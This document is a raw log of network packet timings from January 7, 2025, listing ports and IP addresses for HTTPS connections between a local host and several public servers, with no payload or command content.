Jan 7, 2025 15:18:27.195415974 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.195446014 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.195487976 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.195730925 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.195960045 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.195986986 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.196011066 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.196017981 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.196052074 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.196130991 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.200031996 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.200062990 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.200117111 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.200124979 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.200166941 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.242805958 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.242873907 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.242938995 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.243376970 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.243390083 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.245807886 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.245843887 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.245940924 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.246129036 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.246143103 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.285693884 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.285747051 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.285789967 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.285799980 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.285861969 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.285903931 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.285912037 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286015987 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286056042 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.286063910 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286376953 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286448002 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.286454916 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286531925 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286573887 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.286581039 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286906004 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286931992 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286959887 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.286967039 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.286999941 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.287106037 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287149906 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287183046 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.287189960 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287785053 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287813902 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287836075 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.287841082 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287851095 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.287887096 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.287976980 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.288022041 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.288028002 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.330773115 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.330842018 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.330856085 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376249075 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376346111 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376344919 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.376370907 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376405954 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.376414061 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376878977 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376887083 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.376935005 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.376943111 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377144098 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377207994 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.377214909 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377266884 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.377334118 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377533913 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377583981 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.377590895 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.377633095 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.378077984 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.378142118 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.378237009 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.378288031 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.378504038 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.378566980 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.379059076 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.379110098 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.379187107 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.379240990 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.379374981 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.379432917 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.379909992 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.379960060 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.380155087 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.380209923 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.380436897 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.380495071 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.421256065 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.421341896 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.466789961 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.466857910 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.466866016 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.466888905 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.466903925 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.466955900 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.466990948 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.467008114 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.470330000 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.470380068 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.470448971 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.470644951 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.470659018 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.487332106 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.487369061 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.487432003 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.487792969 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.487803936 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.613163948 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.613198996 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.613267899 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.613481998 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.613495111 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.699202061 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.699438095 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.699456930 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.699774981 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.700110912 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.700175047 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.700665951 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.739398956 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:27.739463091 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:27.739537954 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:27.739742994 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:27.739761114 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:27.747328043 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.845902920 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.845964909 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.846020937 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.846590042 CET	49734	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.846604109 CET	443	49734	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.934592009 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.934876919 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.934904099 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.935332060 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.935650110 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.935750008 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:27.935801983 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:27.960730076 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.960988998 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.961002111 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.961920023 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.961999893 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962270975 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962282896 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962323904 CET	443	49736	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.962341070 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962369919 CET	49736	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962608099 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.962667942 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.962743044 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.963004112 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:27.963018894 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:27.979336977 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097774029 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097807884 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097840071 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097856045 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.097868919 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097882032 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.097930908 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.098000050 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.098056078 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.098073959 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.098212957 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.098253965 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.098261118 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.100218058 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.100445032 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.100456953 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.100728035 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.101021051 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.101079941 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.101152897 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.101192951 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.101217031 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.102549076 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.102576971 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.102602959 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.102612972 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.102663040 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.102669954 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.143143892 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.208750963 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.208830118 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.208878040 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.208913088 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209048033 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209105968 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.209114075 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209299088 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209340096 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.209348917 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209476948 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209521055 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.209527969 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209858894 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209884882 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209918022 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.209925890 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.209969044 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.210042953 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210580111 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210606098 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210625887 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.210634947 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210668087 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.210674047 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210731030 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210758924 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210767031 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.210777998 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.210808992 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.210814953 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.211481094 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.211508036 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.211539984 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.211550951 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.211591005 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.280432940 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280527115 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280550003 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280595064 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.280638933 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280684948 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.280734062 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280778885 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280802011 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280823946 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.280833960 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.280875921 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.280992985 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.285191059 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.285237074 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.285249949 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.285260916 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.285305977 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.285312891 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.297257900 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297400951 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297460079 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.297485113 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297645092 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297687054 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.297693968 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297929049 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.297986031 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.297992945 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.298032045 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.298378944 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.298439026 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.298444986 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.298485994 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.298532963 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.298579931 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.298794031 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.298847914 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.299235106 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.299304008 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.299413919 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.299475908 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.299757004 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.299818039 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.300163984 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.300223112 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.300355911 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.300403118 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.300558090 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.300616980 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.301104069 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.301167965 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.301268101 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.301316023 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.301501036 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.301561117 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.334265947 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.371113062 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371298075 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371361971 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371467113 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.371490002 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371535063 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.371717930 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371910095 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.371959925 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.371967077 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372153997 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372183084 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372205973 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.372211933 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372222900 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372265100 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.372317076 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372358084 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.372844934 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372925043 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.372968912 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.372976065 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373085976 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373131037 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.373137951 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373759985 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373810053 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373810053 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.373820066 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.373862028 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.373909950 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.385946989 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.385999918 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.386044025 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.386192083 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.386219025 CET	49735	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.386236906 CET	443	49735	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.396836042 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:28.398314953 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:28.398348093 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:28.399215937 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:28.399277925 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:28.400398016 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:28.400454998 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:28.414589882 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.414660931 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.414666891 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.414690018 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.414736032 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.444253922 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:28.444267988 CET	443	49738	142.250.185.68	192.168.2.16
Jan 7, 2025 15:18:28.460803986 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.461055994 CET	49739	443	192.168.2.16	188.114.96.3
